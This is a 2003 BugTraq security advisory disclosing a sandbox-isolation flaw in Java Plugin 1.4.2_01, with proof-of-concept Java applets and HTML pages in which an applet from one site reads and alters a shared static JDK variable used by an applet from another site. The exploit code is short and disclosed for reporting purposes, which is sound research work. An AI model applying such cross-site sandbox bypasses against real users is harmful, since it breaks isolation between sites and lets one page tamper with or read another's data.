BugTraq
Cross Site Java applets Oct 20 2003 09:24PM
Marc Schoenefeld (schonef uni-muenster de)
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Cross-Site Java breaks Sandbox Isolation for Unsigned Applets
=============================================================

Product : Java Plugin
Version : 1.4.2_01
OS : Win32 (should apply for other OSs too)
URL : http://java.sun.com
Found by : Marc Schoenefeld (marc (at) illegalaccess (dot) org [email concealed])
Date : 10/21/03

PROBLEM DESCRIPTION :
Cross-Site Java
Unsigned applets coming from different sites may share data areas via
undocumented static variables of the jdk. While altering these variables
JDK internal states may become corrupt and functionality is no longer. This
especially concerns XML processing which depends on the
org.apache.xalan.processor.XSLProcessorVersion class.
This behavior violates the isolation restriction of the sandbox.

STEPS TO FOLLOW TO REPRODUCE THE PROBLEM :
Two applets,
- one on siteA: www.siteA.org => Read.html / ReadApplet.class
- one on siteB: www.siteB.org => Write.html / WriteApplet.class

Applet from siteB can share a variable also accessible (read and write)
which is used by siteA. So data protection is not guaranteed, an unsigned
applet may grab data stored in this variable by a signed applet
or interfere it's XML processing and therefore violates the isolation
restriction of the sandbox.

==========READAPPLET=========================
/* Illegalaccess.org java exploit */
/* coded by Marc Schoenefeld */

import java.awt.Graphics;

public class ReadApplet extends java.applet.Applet {

public void paint(Graphics g)
{

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERS
ION);
}

static {

System.out.println(org.apache.xalan.processor.XSLProcessorVersion.S_VERS
ION);
}
}
==========READAPPLET=========================

==========WRITEAPPLET=========================
import java.awt.Graphics;

public class WriteApplet extends java.applet.Applet {
public void paint(Graphics g)
{
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION += "a";
}

static {
org.apache.xalan.processor.XSLProcessorVersion.S_VERSION = "altered
from
SiteA";
}
}
==========WRITEAPPLET=========================

=========Write.html============================
<HTML>
<BODY BGCOLOR=#66FF66>
<PRE>
WriteApplet, write to variable
Marc (marc (at) org (dot) ille [email concealed]galaccess)
</PRE>
<applet codebase=. code=WriteApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

========Read.html=============================
<HTML>
<BODY BGCOLOR=#6666FF>
<PRE>
ReadApplet, read from variable
Marc (marc (at) org (dot) ille [email concealed]galaccess)
</PRE>
<applet codebase=. code=ReadApplet.class width=100 height=100>
</applet>
</BODY>
</HTML>

- --

Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous

Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
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